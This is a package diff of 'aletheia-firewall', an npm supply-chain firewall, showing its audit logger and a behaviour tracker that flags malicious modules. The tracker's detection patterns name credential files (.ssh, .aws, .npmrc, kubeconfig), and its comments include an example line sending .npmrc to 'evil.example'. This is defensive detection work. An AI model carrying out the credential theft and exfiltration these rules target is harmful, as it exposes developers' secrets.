aletheia-firewall 0.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.helios-baseline +1 -0
- package/LICENSE +21 -0
- package/README.md +129 -0
- package/index.js +383 -0
- package/package.json +36 -0
- package/src/aho-corasick.js +101 -0
- package/src/audit-log.js +102 -0
- package/src/behavior-tracker.js +455 -0
- package/src/detector.js +245 -0
- package/src/policy-watcher.js +233 -0
- package/src/policy.js +83 -0
- package/src/quarantine.js +123 -0
- package/sync-worker.js +87 -0
package/src/audit-log.js
ADDED
|
@@ -0,0 +1,102 @@
|
|
|
1
|
+
// packages/fw-agent/src/audit-log.js
|
|
2
|
+
// Persistent append-only forensic event writer with size-based log rotation.
|
|
3
|
+
// Writes structured JSON lines to HELIOS_LOG_DIR or falls back to a temp directory.
|
|
4
|
+
|
|
5
|
+
const fs = require('fs');
|
|
6
|
+
const path = require('path');
|
|
7
|
+
const os = require('os');
|
|
8
|
+
|
|
9
|
+
const DEFAULT_LOG_DIR =
|
|
10
|
+
process.env.HELIOS_LOG_DIR ||
|
|
11
|
+
(process.platform !== 'win32' ? '/var/log/helios' : path.join(os.tmpdir(), 'helios'));
|
|
12
|
+
|
|
13
|
+
const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10 MB per rotation segment
|
|
14
|
+
const MAX_ROTATIONS = 5;
|
|
15
|
+
|
|
16
|
+
class AuditLog {
|
|
17
|
+
constructor(logDir = DEFAULT_LOG_DIR) {
|
|
18
|
+
this.logDir = logDir;
|
|
19
|
+
this.logPath = null;
|
|
20
|
+
this.fd = null;
|
|
21
|
+
this._init();
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
_init() {
|
|
25
|
+
// Try configured dir; fall back to system temp on permission errors
|
|
26
|
+
for (const dir of [this.logDir, path.join(os.tmpdir(), 'helios')]) {
|
|
27
|
+
try {
|
|
28
|
+
fs.mkdirSync(dir, { recursive: true });
|
|
29
|
+
this.logDir = dir;
|
|
30
|
+
this.logPath = path.join(dir, 'audit.log');
|
|
31
|
+
this.fd = fs.openSync(this.logPath, 'a');
|
|
32
|
+
return;
|
|
33
|
+
} catch (e) {
|
|
34
|
+
// Try next fallback
|
|
35
|
+
}
|
|
36
|
+
}
|
|
37
|
+
// All attempts failed - audit log disabled, events go to stderr only
|
|
38
|
+
this.logPath = null;
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
_rotate() {
|
|
42
|
+
if (!this.logPath) return;
|
|
43
|
+
try {
|
|
44
|
+
if (this.fd !== null) {
|
|
45
|
+
fs.closeSync(this.fd);
|
|
46
|
+
this.fd = null;
|
|
47
|
+
}
|
|
48
|
+
for (let i = MAX_ROTATIONS - 1; i >= 1; i--) {
|
|
49
|
+
const src = `${this.logPath}.${i}`;
|
|
50
|
+
const dst = `${this.logPath}.${i + 1}`;
|
|
51
|
+
if (fs.existsSync(src)) {
|
|
52
|
+
try { fs.renameSync(src, dst); } catch (e) {}
|
|
53
|
+
}
|
|
54
|
+
}
|
|
55
|
+
try { fs.renameSync(this.logPath, `${this.logPath}.1`); } catch (e) {}
|
|
56
|
+
this.fd = fs.openSync(this.logPath, 'a');
|
|
57
|
+
} catch (e) {
|
|
58
|
+
// If rotation fails, attempt a fresh open
|
|
59
|
+
try { this.fd = fs.openSync(this.logPath, 'a'); } catch (e2) { this.fd = null; }
|
|
60
|
+
}
|
|
61
|
+
}
|
|
62
|
+
|
|
63
|
+
write(event) {
|
|
64
|
+
const line = JSON.stringify({ ...event, _logged_at: new Date().toISOString() }) + '\n';
|
|
65
|
+
|
|
66
|
+
if (this.fd !== null) {
|
|
67
|
+
try {
|
|
68
|
+
const buf = Buffer.from(line, 'utf8');
|
|
69
|
+
fs.writeSync(this.fd, buf);
|
|
70
|
+
const stat = fs.fstatSync(this.fd);
|
|
71
|
+
if (stat.size > MAX_FILE_SIZE) {
|
|
72
|
+
this._rotate();
|
|
73
|
+
}
|
|
74
|
+
} catch (e) {
|
|
75
|
+
process.stderr.write('[AuditLog] write error: ' + e.message + '\n');
|
|
76
|
+
}
|
|
77
|
+
} else {
|
|
78
|
+
// Fallback: structured stderr so events aren't silently lost
|
|
79
|
+
process.stderr.write('[HELIOS-AUDIT] ' + line);
|
|
80
|
+
}
|
|
81
|
+
}
|
|
82
|
+
|
|
83
|
+
close() {
|
|
84
|
+
if (this.fd !== null) {
|
|
85
|
+
try { fs.closeSync(this.fd); } catch (e) {}
|
|
86
|
+
this.fd = null;
|
|
87
|
+
}
|
|
88
|
+
}
|
|
89
|
+
|
|
90
|
+
get filePath() {
|
|
91
|
+
return this.logPath;
|
|
92
|
+
}
|
|
93
|
+
}
|
|
94
|
+
|
|
95
|
+
let _instance = null;
|
|
96
|
+
|
|
97
|
+
function getAuditLog() {
|
|
98
|
+
if (!_instance) _instance = new AuditLog();
|
|
99
|
+
return _instance;
|
|
100
|
+
}
|
|
101
|
+
|
|
102
|
+
module.exports = { AuditLog, getAuditLog, DEFAULT_LOG_DIR };
|
|
@@ -0,0 +1,455 @@
|
|
|
1
|
+
// packages/fw-agent/src/behavior-tracker.js
|
|
2
|
+
// Behavioral analyzer for sequence-based threat detection.
|
|
3
|
+
// Tracks dangerous action sequences within a single module.
|
|
4
|
+
|
|
5
|
+
// Signal detection patterns for each behavioral category
|
|
6
|
+
const SIGNAL_PATTERNS = {
|
|
7
|
+
// Reads sensitive credential files (fs-based). process.env is tracked separately
|
|
8
|
+
// via ENV_READ to avoid false-positive CREDENTIAL_EXFILTRATION on normal HTTP libraries.
|
|
9
|
+
SENSITIVE_READ: [
|
|
10
|
+
/fs\s*\.\s*readFile/,
|
|
11
|
+
/fs\s*\.\s*readFileSync/,
|
|
12
|
+
/fs\s*\.\s*open(?:Sync)?\s*\(/,
|
|
13
|
+
],
|
|
14
|
+
// Bare environment variable access — common in normal apps; escalates to WARN only
|
|
15
|
+
// unless a SENSITIVE_PATH is also present (genuine credential file access).
|
|
16
|
+
ENV_READ: [
|
|
17
|
+
/process\s*\.\s*env\b/,
|
|
18
|
+
],
|
|
19
|
+
SENSITIVE_PATH: [
|
|
20
|
+
// Match .env only as a file-path reference (preceded by quote, slash, or backtick),
|
|
21
|
+
// not as a property access like `process.env.FOO` (F-16 false-positive fix).
|
|
22
|
+
/['"\/`]\.env\b/i,
|
|
23
|
+
/[\/\\][\w.\-]{0,40}credentials/i,
|
|
24
|
+
/[\/\\]\.ssh\b/,
|
|
25
|
+
/id_rsa/,
|
|
26
|
+
/[\/\\]\.netrc/,
|
|
27
|
+
/[\/\\]\.aws\b/,
|
|
28
|
+
/[\/\\][\w.\-]{0,40}secret/i,
|
|
29
|
+
/[\/\\][\w.\-]{0,40}passwd/i,
|
|
30
|
+
/[\/\\][\w.\-]{0,40}shadow/i,
|
|
31
|
+
],
|
|
32
|
+
// Infrastructure / browser credential stores (kubeconfig, docker registry auth, Chrome's
|
|
33
|
+
// "Login Data" password DB). UNLIKE ~/.ssh or ~/.aws, these files ARE legitimately read by
|
|
34
|
+
// real packages — @kubernetes/client-node reads ~/.kube/config, docker clients read
|
|
35
|
+
// ~/.docker/config.json — and those libraries then make network calls to the cluster/registry.
|
|
36
|
+
// So a bare "read + network egress" here is NOT proof of theft and must not hard-block, or we
|
|
37
|
+
// false-positive on legit infra clients. They only become a CREDENTIAL_EXFILTRATION signal
|
|
38
|
+
// when paired with a DELIBERATE exfil destination (a hardcoded non-registry host or an explicit
|
|
39
|
+
// {host:...} override) — same WHERE-does-the-data-go discriminator used for .npmrc. Kept in a
|
|
40
|
+
// separate list (not SENSITIVE_PATH) precisely so the stricter escalation rule applies. Closes
|
|
41
|
+
// red-team exfil-docker-config / exfil-kube-config / exfil-browser-cookies without FP risk.
|
|
42
|
+
SENSITIVE_CONFIG_PATH: [
|
|
43
|
+
/[\/\\]\.kube[\/\\]config\b/i,
|
|
44
|
+
/[\/\\]\.docker[\/\\]config\.json/i,
|
|
45
|
+
/[\/\\]Login Data\b/,
|
|
46
|
+
],
|
|
47
|
+
// .npmrc is its own (weaker) signal, not a SENSITIVE_PATH (F-30 redo): every npm client,
|
|
48
|
+
// installer, and publish tool legitimately reads .npmrc to resolve the registry URL, so
|
|
49
|
+
// bare "reads .npmrc + makes a network call" is not evidence of anything by itself. It only
|
|
50
|
+
// becomes a credential-theft signal combined with an actual token-field reference, an
|
|
51
|
+
// explicit host override, or a hardcoded exfil destination below -- see the escalation rule
|
|
52
|
+
// in analyzeModule(). NOTE: the first cut of F-30 gated escalation solely on the literal
|
|
53
|
+
// string `_authToken` appearing in the module, which missed the more common real attack --
|
|
54
|
+
// reading the whole file and shipping it without ever naming the field
|
|
55
|
+
// (`fetch('http://evil.example/c?d='+fs.readFileSync('.npmrc'))`). The discriminator that
|
|
56
|
+
// actually holds is WHERE the data goes, not whether a field name is parsed out of it.
|
|
57
|
+
NPMRC_READ: [
|
|
58
|
+
/\.npmrc/i,
|
|
59
|
+
],
|
|
60
|
+
// The npm auth token/password fields in a real .npmrc, e.g.
|
|
61
|
+
// `//registry.npmjs.org/:_authToken=...` or `_auth=...` -- these are the actual secret,
|
|
62
|
+
// as opposed to the plain `registry=` config line every package manager reads.
|
|
63
|
+
NPMRC_TOKEN: [
|
|
64
|
+
/_authToken/i,
|
|
65
|
+
/_auth\b/i,
|
|
66
|
+
/_password\b/i,
|
|
67
|
+
/authToken/i,
|
|
68
|
+
],
|
|
69
|
+
// Explicit destination override alongside a network call, e.g. https.request({host:
|
|
70
|
+
// 'evil.example', ...}) -- a deliberate redirect, not the ambiguous case a bare hardcoded
|
|
71
|
+
// URL literal can be (see HARDCODED_EGRESS_CALL).
|
|
72
|
+
HOST_OPTION: [
|
|
73
|
+
/host\s*:\s*['"`][^'"`]+/,
|
|
74
|
+
],
|
|
75
|
+
// Makes outbound network connections
|
|
76
|
+
NETWORK_EGRESS: [
|
|
77
|
+
/http\s*\.\s*request\s*\(/,
|
|
78
|
+
/https\s*\.\s*request\s*\(/,
|
|
79
|
+
/http\s*\.\s*get\s*\(/,
|
|
80
|
+
/https\s*\.\s*get\s*\(/,
|
|
81
|
+
/\bfetch\s*\(/,
|
|
82
|
+
/net\s*\.\s*connect\s*\(/,
|
|
83
|
+
/net\s*\.\s*createConnection\s*\(/,
|
|
84
|
+
/socket\s*\.\s*connect\s*\(/,
|
|
85
|
+
/new\s+WebSocket\s*\(/,
|
|
86
|
+
/XMLHttpRequest/,
|
|
87
|
+
/tls\s*\.\s*connect\s*\(/,
|
|
88
|
+
/dgram\s*\.\s*createSocket/,
|
|
89
|
+
// Inline require("https").get/request — not caught by the patterns above
|
|
90
|
+
/require\s*\(\s*['"]https?['"]\s*\)\s*\.\s*(?:get|request)\s*\(/,
|
|
91
|
+
// Inline require("net"|"tls"|"dgram").<call> — the bound forms above match `net.connect(`
|
|
92
|
+
// but not the one-liner `require("net").connect(` idiom used to dodge the egress signal
|
|
93
|
+
// (red-team exfil-inline-require-net). Mirrors the http/https inline pattern.
|
|
94
|
+
/require\s*\(\s*['"](?:net|tls|dgram)['"]\s*\)\s*\.\s*(?:connect|createConnection|createSocket|request|get)\s*\(/,
|
|
95
|
+
// Non-HTTP egress channels used to smuggle data out: DNS-tunnel (dns.resolve/resolveTxt/…,
|
|
96
|
+
// NOT dns.lookup which is ubiquitous and internal) and navigator.sendBeacon. These only
|
|
97
|
+
// matter as egress when combined with a credential read (CREDENTIAL_EXFILTRATION) — bare use
|
|
98
|
+
// is harmless. red-team exfil-dns-tunnel / exfil-env-sendbeacon.
|
|
99
|
+
/dns\s*\.\s*resolve[A-Za-z0-9]*\s*\(/,
|
|
100
|
+
/navigator\s*\.\s*sendBeacon\s*\(/,
|
|
101
|
+
],
|
|
102
|
+
// Generates or evaluates code at runtime
|
|
103
|
+
DYNAMIC_CODE: [
|
|
104
|
+
/\beval\s*\(/,
|
|
105
|
+
/new\s+Function\s*\(/,
|
|
106
|
+
/\bFunction\s*\(\s*['"`]/,
|
|
107
|
+
/vm\s*\.\s*runIn(?:This|New|)Context\s*\(/,
|
|
108
|
+
/vm\s*\.\s*Script\s*\(/,
|
|
109
|
+
/\bsetTimeout\s*\(\s*['"`]/,
|
|
110
|
+
/\bsetInterval\s*\(\s*['"`]/,
|
|
111
|
+
/Script\s*\.\s*runInNewContext/,
|
|
112
|
+
// Inline require("vm").runInThisContext/Script — the bound `vm.runInThisContext(` form is
|
|
113
|
+
// matched above, but the one-liner require("vm").runInThisContext( dodges it (red-team
|
|
114
|
+
// dce-inline-require-vm). Mirrors the inline-require egress pattern in NETWORK_EGRESS.
|
|
115
|
+
/require\s*\(\s*['"]vm['"]\s*\)\s*\.\s*(?:runIn(?:This|New|)Context|Script)\s*\(/,
|
|
116
|
+
// Indirect eval — `(0, eval)(code)` runs the string in global scope without a literal
|
|
117
|
+
// `eval(` call site (red-team sc-githubusercontent-eval). The `(0,eval)` construct is a
|
|
118
|
+
// deliberate idiom that does not occur in ordinary code, so this is safe as a dynamic-code
|
|
119
|
+
// signal (it still only blocks when chained with egress/process-exec, never alone).
|
|
120
|
+
/\(\s*0\s*,\s*eval\s*\)/,
|
|
121
|
+
],
|
|
122
|
+
// Decodes an encoded blob (base64/hex) back into a string. On its own this is benign
|
|
123
|
+
// (every HTTP/crypto library does it); it only matters combined with DYNAMIC_CODE — the
|
|
124
|
+
// classic "decode an opaque payload, then eval it" obfuscation. Kept narrow on purpose:
|
|
125
|
+
// Buffer.from must name a 'base64'/'hex' encoding (bare Buffer.from(x) is a byte copy, not
|
|
126
|
+
// a decode), and atob() is the browser/base64 decoder. F-31.
|
|
127
|
+
CODE_DECODE: [
|
|
128
|
+
/\batob\s*\(/,
|
|
129
|
+
/Buffer\s*\.\s*from\s*\([^)]*['"`](?:base64|hex)['"`]\s*\)/i,
|
|
130
|
+
],
|
|
131
|
+
// Executes external processes
|
|
132
|
+
PROCESS_EXEC: [
|
|
133
|
+
/child_process/,
|
|
134
|
+
/\bexecSync\s*\(/,
|
|
135
|
+
/\bspawnSync\s*\(/,
|
|
136
|
+
/\bexecFile\s*\(/,
|
|
137
|
+
/\bexecFileSync\s*\(/,
|
|
138
|
+
/ShellString/,
|
|
139
|
+
// process.binding("spawn_sync"|"process_wrap"|"pipe_wrap") is the low-level internal path to
|
|
140
|
+
// launch a process, used to dodge the child_process signal (red-team dce-process-binding).
|
|
141
|
+
// Anchored to the process-spawning bindings ONLY: bare process.binding( also names benign
|
|
142
|
+
// internals — lodash/sequelize use process.binding('util') for type detection — so matching
|
|
143
|
+
// any binding false-positived DYNAMIC_CODE_EXEC_CHAIN alongside their Function('return this').
|
|
144
|
+
/process\s*\.\s*binding\s*\(\s*['"`](?:spawn_sync|process_wrap|pipe_wrap)/i,
|
|
145
|
+
],
|
|
146
|
+
// Loads modules dynamically or via non-literal paths
|
|
147
|
+
DYNAMIC_REQUIRE: [
|
|
148
|
+
/require\s*\.\s*resolve\s*\(/,
|
|
149
|
+
/module\s*\._load\s*\(/,
|
|
150
|
+
/require\s*\(\s*(?!['"`])[^)]+\)/, // require(variable)
|
|
151
|
+
],
|
|
152
|
+
};
|
|
153
|
+
|
|
154
|
+
function matchesAny(content, patterns) {
|
|
155
|
+
return patterns.some(p => p.test(content));
|
|
156
|
+
}
|
|
157
|
+
|
|
158
|
+
// A quoted absolute URL passed directly as the argument of an actual network-call site --
|
|
159
|
+
// distinguishes theft (hardcodes the destination) from legit npm tooling (builds the URL
|
|
160
|
+
// from config, e.g. `fetch(`${registry}/${name}`)`). Anchored to the call site itself (not
|
|
161
|
+
// "any quoted URL anywhere in the file") so a legit fallback-default constant sitting next to
|
|
162
|
+
// a config-driven fetch -- e.g.
|
|
163
|
+
// `const registry = cfg.match(...) ? m[1] : 'https://registry.npmjs.org'` -- does not
|
|
164
|
+
// false-positive just because that literal exists somewhere in the module. Matched against
|
|
165
|
+
// raw `content`, not `scanSrc`: scanSrc already strips all https?:// literals wholesale (see
|
|
166
|
+
// the URL-stripping replace() in analyzeModule()) so a content-based check here would never
|
|
167
|
+
// match if run against scanSrc. Kept outside SIGNAL_PATTERNS (and not a matchesAny() boolean
|
|
168
|
+
// check) because it needs its capture group -- callers that iterate SIGNAL_PATTERNS expecting
|
|
169
|
+
// arrays of boolean-test regexes (e.g. the registry's watch-changes.js evidence reconstruction)
|
|
170
|
+
// would break on a single global regex with a capture group.
|
|
171
|
+
const HARDCODED_EGRESS_CALL = /(?:https?\s*\.\s*(?:get|request)|fetch|net\s*\.\s*(?:connect|createConnection)|socket\s*\.\s*connect|new\s+WebSocket|tls\s*\.\s*connect|require\s*\(\s*['"]https?['"]\s*\)\s*\.\s*(?:get|request))\s*\(\s*['"`](https?:\/\/[^'"`$\s]+)/g;
|
|
172
|
+
|
|
173
|
+
class BehaviorTracker {
|
|
174
|
+
constructor() {
|
|
175
|
+
// Per-module signal cache (filename -> signals). Shape is unchanged from the intra-file
|
|
176
|
+
// era so analyzePackage() / callers that iterate it keep working.
|
|
177
|
+
this.moduleSignals = new Map();
|
|
178
|
+
// filename -> packageKey, used to SCOPE cross-file correlation to a single npm package.
|
|
179
|
+
// The runtime firewall resets per dependency-tree root, so without scoping analyzePackage()
|
|
180
|
+
// would pair signals across the whole app (a config-reading module + any http module) and
|
|
181
|
+
// false-positive. The registry batch scanner resets per package and passes no key, so its
|
|
182
|
+
// whole-map behavior is preserved.
|
|
183
|
+
this.filePackage = new Map();
|
|
184
|
+
// Accumulated violations for telemetry
|
|
185
|
+
this.violations = [];
|
|
186
|
+
}
|
|
187
|
+
|
|
188
|
+
/**
|
|
189
|
+
* Analyze a module and return any behavioral violations found.
|
|
190
|
+
* Checks intra-module signal sequences. `packageKey` (optional) tags this file's signals so a
|
|
191
|
+
* later analyzePackage(packageKey) can correlate only within the same package.
|
|
192
|
+
*/
|
|
193
|
+
analyzeModule(filename, content, packageKey) {
|
|
194
|
+
if (!content) return [];
|
|
195
|
+
|
|
196
|
+
// SENSITIVE_PATH / SENSITIVE_READ must only fire on genuine filesystem access, not on
|
|
197
|
+
// import/require module specifiers (e.g. "@memberjunction/credentials") or URL paths
|
|
198
|
+
// (e.g. "https://api.example.com/totpSecret"). Blank just the specifier STRING in place
|
|
199
|
+
// (never drop the whole line/statement) so chained calls on the same line survive --
|
|
200
|
+
// e.g. `const s = require('fs').readFileSync('.env')` must keep the '.env' argument
|
|
201
|
+
// visible to SENSITIVE_PATH after the 'fs' specifier is blanked (F-27b regression: the
|
|
202
|
+
// prior line-drop approach deleted this one-line idiom entirely, producing a false
|
|
203
|
+
// negative on the most common credential-theft pattern).
|
|
204
|
+
//
|
|
205
|
+
// Comments come first in the chain (F-28): a path-shaped string mentioned only in
|
|
206
|
+
// prose (e.g. `// src/auth/credentials.ts`) previously survived into scanSrc and, next
|
|
207
|
+
// to any real networkEgress call elsewhere in the module, false-positived
|
|
208
|
+
// CREDENTIAL_EXFILTRATION. Block comments are blanked to a space (preserves token
|
|
209
|
+
// boundaries so adjoining code doesn't fuse); line comments are dropped up to the
|
|
210
|
+
// newline, guarded by a negative lookbehind on ':' so the "//" in "https://" is never
|
|
211
|
+
// mistaken for a comment start and real code following a same-line URL survives.
|
|
212
|
+
const scanSrc = content
|
|
213
|
+
.replace(/\/\*[\s\S]*?\*\//g, ' ') // block comments
|
|
214
|
+
.replace(/(?<!:)\/\/[^\n]*/g, '') // line comments
|
|
215
|
+
.replace(/(\brequire\s*\(\s*)(['"`])(?:\\.|(?!\2)[^\\])*\2(\s*\))/g, '$1$2$2$3') // require('spec')
|
|
216
|
+
.replace(/(\bfrom\s+)(['"`])(?:\\.|(?!\2)[^\\])*\2/g, '$1$2$2') // import ... from 'spec'
|
|
217
|
+
.replace(/(\bimport\s*\(\s*)(['"`])(?:\\.|(?!\2)[^\\])*\2(\s*\))/g, '$1$2$2$3') // import('spec')
|
|
218
|
+
.replace(/https?:\/\/[^\s'"`]+/g, '') // URLs
|
|
219
|
+
.replace(/`[^`]*\$\{[^`]*`/g, ''); // template-literal URL builders
|
|
220
|
+
|
|
221
|
+
// Hardcoded-URL call sites, e.g. fetch('http://evil.example/...'). Extracted (not just
|
|
222
|
+
// matched) so the escalation rule below can tell a hardcoded exfil host apart from a
|
|
223
|
+
// hardcoded reference to the real npm registry (see hardcodedEgressNonRegistry).
|
|
224
|
+
const hardcodedEgressUrls = [];
|
|
225
|
+
for (const m of content.matchAll(HARDCODED_EGRESS_CALL)) {
|
|
226
|
+
hardcodedEgressUrls.push(m[1]);
|
|
227
|
+
}
|
|
228
|
+
|
|
229
|
+
const signals = {
|
|
230
|
+
sensitiveRead: matchesAny(scanSrc, SIGNAL_PATTERNS.SENSITIVE_READ),
|
|
231
|
+
sensitivePath: matchesAny(scanSrc, SIGNAL_PATTERNS.SENSITIVE_PATH),
|
|
232
|
+
sensitiveConfigPath: matchesAny(scanSrc, SIGNAL_PATTERNS.SENSITIVE_CONFIG_PATH),
|
|
233
|
+
npmrcRead: matchesAny(scanSrc, SIGNAL_PATTERNS.NPMRC_READ),
|
|
234
|
+
npmrcToken: matchesAny(scanSrc, SIGNAL_PATTERNS.NPMRC_TOKEN),
|
|
235
|
+
hostOption: matchesAny(content, SIGNAL_PATTERNS.HOST_OPTION),
|
|
236
|
+
hardcodedEgress: hardcodedEgressUrls.length > 0,
|
|
237
|
+
hardcodedEgressNonRegistry: hardcodedEgressUrls.some(u => !/^https?:\/\/registry\.npmjs\.org\b/i.test(u)),
|
|
238
|
+
envRead: matchesAny(content, SIGNAL_PATTERNS.ENV_READ),
|
|
239
|
+
networkEgress: matchesAny(content, SIGNAL_PATTERNS.NETWORK_EGRESS),
|
|
240
|
+
dynamicCode: matchesAny(content, SIGNAL_PATTERNS.DYNAMIC_CODE),
|
|
241
|
+
// Matched against scanSrc (comments/URLs/specifiers stripped) so a decode call named
|
|
242
|
+
// only in a comment cannot manufacture the OBFUSCATED_CODE_EXECUTION signal. F-31.
|
|
243
|
+
codeDecode: matchesAny(scanSrc, SIGNAL_PATTERNS.CODE_DECODE),
|
|
244
|
+
processExec: matchesAny(content, SIGNAL_PATTERNS.PROCESS_EXEC),
|
|
245
|
+
dynamicRequire: matchesAny(content, SIGNAL_PATTERNS.DYNAMIC_REQUIRE),
|
|
246
|
+
};
|
|
247
|
+
|
|
248
|
+
this.moduleSignals.set(filename, signals);
|
|
249
|
+
if (packageKey !== undefined && packageKey !== null) this.filePackage.set(filename, packageKey);
|
|
250
|
+
|
|
251
|
+
const found = [];
|
|
252
|
+
|
|
253
|
+
// Intra-module rule: credential file read OR sensitive path + network egress → CRITICAL exfiltration.
|
|
254
|
+
// Bare process.env reads are intentionally excluded here (F-16: false-positive on axios, dotenv, etc.)
|
|
255
|
+
// and handled by the ENV_NETWORK_EGRESS WARN rule below.
|
|
256
|
+
if (signals.sensitivePath && signals.networkEgress) {
|
|
257
|
+
found.push({
|
|
258
|
+
rule: 'CREDENTIAL_EXFILTRATION',
|
|
259
|
+
severity: 'CRITICAL',
|
|
260
|
+
description: 'Module reads sensitive credentials and makes network calls',
|
|
261
|
+
});
|
|
262
|
+
}
|
|
263
|
+
|
|
264
|
+
// Intra-module rule: .npmrc read + network egress. CRITICAL when there's a concrete
|
|
265
|
+
// theft signal -- an actual token/password field reference, an explicit host override, or
|
|
266
|
+
// a hardcoded destination that isn't the real npm registry. A hardcoded call-site URL that
|
|
267
|
+
// IS registry.npmjs.org (some legit tools hardcode it instead of building it from config)
|
|
268
|
+
// is downgraded to WARN rather than blocked, same as the config-built-URL case -- the
|
|
269
|
+
// registry host itself isn't a theft signal, only an unusual one.
|
|
270
|
+
if (signals.npmrcRead && signals.networkEgress) {
|
|
271
|
+
if (signals.npmrcToken || signals.hostOption || signals.hardcodedEgressNonRegistry) {
|
|
272
|
+
found.push({
|
|
273
|
+
rule: 'CREDENTIAL_EXFILTRATION',
|
|
274
|
+
severity: 'CRITICAL',
|
|
275
|
+
description: 'Module reads .npmrc and exfiltrates its contents, an auth token, or redirects to a hardcoded/overridden destination',
|
|
276
|
+
});
|
|
277
|
+
} else {
|
|
278
|
+
found.push({
|
|
279
|
+
rule: 'NPMRC_NETWORK_EGRESS',
|
|
280
|
+
severity: 'WARN',
|
|
281
|
+
description: 'Module reads .npmrc and makes network calls (common in npm tooling; monitor for token extraction or a hardcoded exfil destination)',
|
|
282
|
+
});
|
|
283
|
+
}
|
|
284
|
+
}
|
|
285
|
+
|
|
286
|
+
// Intra-module rule: infra/browser credential store read + network egress WITH a deliberate
|
|
287
|
+
// exfil destination → CRITICAL. The destination gate (hardcoded non-registry host or explicit
|
|
288
|
+
// {host:...} override) is what separates theft from legitimate k8s/docker/browser tooling,
|
|
289
|
+
// which reads these files and connects to a config-derived (not hardcoded-attacker) endpoint.
|
|
290
|
+
if (signals.sensitiveConfigPath && signals.networkEgress &&
|
|
291
|
+
(signals.hardcodedEgressNonRegistry || signals.hostOption)) {
|
|
292
|
+
found.push({
|
|
293
|
+
rule: 'CREDENTIAL_EXFILTRATION',
|
|
294
|
+
severity: 'CRITICAL',
|
|
295
|
+
description: 'Module reads an infrastructure/browser credential store and sends it to a hardcoded or overridden destination',
|
|
296
|
+
});
|
|
297
|
+
}
|
|
298
|
+
|
|
299
|
+
// Intra-module rule: bare env read + network egress → WARN only (common in normal apps).
|
|
300
|
+
// Escalates to CRITICAL only if a sensitive credential path is also detected (handled above).
|
|
301
|
+
if (signals.envRead && signals.networkEgress && !signals.sensitiveRead && !signals.sensitivePath) {
|
|
302
|
+
found.push({
|
|
303
|
+
rule: 'ENV_NETWORK_EGRESS',
|
|
304
|
+
severity: 'WARN',
|
|
305
|
+
description: 'Module reads process.env and makes network calls (common pattern; monitor for credential paths)',
|
|
306
|
+
});
|
|
307
|
+
}
|
|
308
|
+
|
|
309
|
+
// Intra-module rule: dynamic code generation + process execution → code injection chain
|
|
310
|
+
if (signals.dynamicCode && signals.processExec) {
|
|
311
|
+
found.push({
|
|
312
|
+
rule: 'DYNAMIC_CODE_EXEC_CHAIN',
|
|
313
|
+
severity: 'CRITICAL',
|
|
314
|
+
description: 'Module generates code dynamically and executes system processes',
|
|
315
|
+
});
|
|
316
|
+
}
|
|
317
|
+
|
|
318
|
+
// Intra-module rule: decode an encoded blob + evaluate it as code → the classic
|
|
319
|
+
// "unpack an opaque payload, then eval/Function it" obfuscation (F-31). Bare eval and
|
|
320
|
+
// Buffer.from are WARN-only (F-20 — both appear in legitimate build tools), so neither
|
|
321
|
+
// primitive blocks alone; it's the *decode-then-execute* combination that is the strong
|
|
322
|
+
// malicious signal. HIGH → hard block in index.js (detector.js escalates HIGH to a
|
|
323
|
+
// non-warnOnly block detection). This closes the base64→eval gap where a comment-free
|
|
324
|
+
// `Buffer.from(b64,'base64').toString(); eval(x)` previously fell through as OBSERVE.
|
|
325
|
+
if (signals.dynamicCode && signals.codeDecode) {
|
|
326
|
+
found.push({
|
|
327
|
+
rule: 'OBFUSCATED_CODE_EXECUTION',
|
|
328
|
+
severity: 'HIGH',
|
|
329
|
+
description: 'Module decodes an encoded blob (base64/hex) and evaluates it as code',
|
|
330
|
+
});
|
|
331
|
+
}
|
|
332
|
+
|
|
333
|
+
// Intra-module rule: network egress + dynamic code generation → fetch-and-execute. The
|
|
334
|
+
// "download a second stage from a remote host and eval/new Function it" pattern (red-team
|
|
335
|
+
// sc-fetch-eval-generic-host / sc-githubusercontent-eval / sc-transfer-sh /
|
|
336
|
+
// sc-s3-remote-config-eval). Both signals are required and neither blocks alone (bare eval is
|
|
337
|
+
// WARN-only per F-20; bare fetch is benign), so this only fires when a module both reaches the
|
|
338
|
+
// network AND evaluates code — a combination that is implausible in reputable packages.
|
|
339
|
+
// HIGH → hard block. Kept below CREDENTIAL_EXFILTRATION/OBFUSCATED so a payload that already
|
|
340
|
+
// matched a more specific rule is not double-reported here (dedup is not required, but the
|
|
341
|
+
// ordering keeps the most descriptive rule first).
|
|
342
|
+
if (signals.networkEgress && signals.dynamicCode) {
|
|
343
|
+
found.push({
|
|
344
|
+
rule: 'REMOTE_FETCH_EXEC',
|
|
345
|
+
severity: 'HIGH',
|
|
346
|
+
description: 'Module makes a network request and evaluates code at runtime (remote fetch-and-execute)',
|
|
347
|
+
});
|
|
348
|
+
}
|
|
349
|
+
|
|
350
|
+
// Standalone rule: dynamic require with non-literal path → module injection risk
|
|
351
|
+
if (signals.dynamicRequire) {
|
|
352
|
+
found.push({
|
|
353
|
+
rule: 'DYNAMIC_MODULE_LOAD',
|
|
354
|
+
severity: 'MEDIUM',
|
|
355
|
+
description: 'Module uses dynamic require() or module._load with a non-literal path',
|
|
356
|
+
});
|
|
357
|
+
}
|
|
358
|
+
|
|
359
|
+
if (found.length > 0) {
|
|
360
|
+
this.violations.push({ filename, violations: found, timestamp: Date.now() });
|
|
361
|
+
}
|
|
362
|
+
|
|
363
|
+
return found;
|
|
364
|
+
}
|
|
365
|
+
|
|
366
|
+
/**
|
|
367
|
+
* Cross-file correlation: analyzeModule() only ever sees one file's content, so a package that
|
|
368
|
+
* splits a credential read into file A and the exfiltrating network call into file B (or the
|
|
369
|
+
* dynamic-code / process-exec chain, same idea) never has both signals present in any single
|
|
370
|
+
* analyzeModule() call and evades every intra-module rule above. This re-applies the same
|
|
371
|
+
* combination rules across every file's cached signals, pairing signals that land in two
|
|
372
|
+
* DIFFERENT files (same-file combinations are already caught intra-module).
|
|
373
|
+
*
|
|
374
|
+
* SCOPING: when `packageKey` is passed, only files tagged with that key are correlated — this
|
|
375
|
+
* is how the runtime firewall keeps cross-file bounded to one npm package instead of the whole
|
|
376
|
+
* dependency tree (see filePackage). With no key it correlates the whole map, which is the
|
|
377
|
+
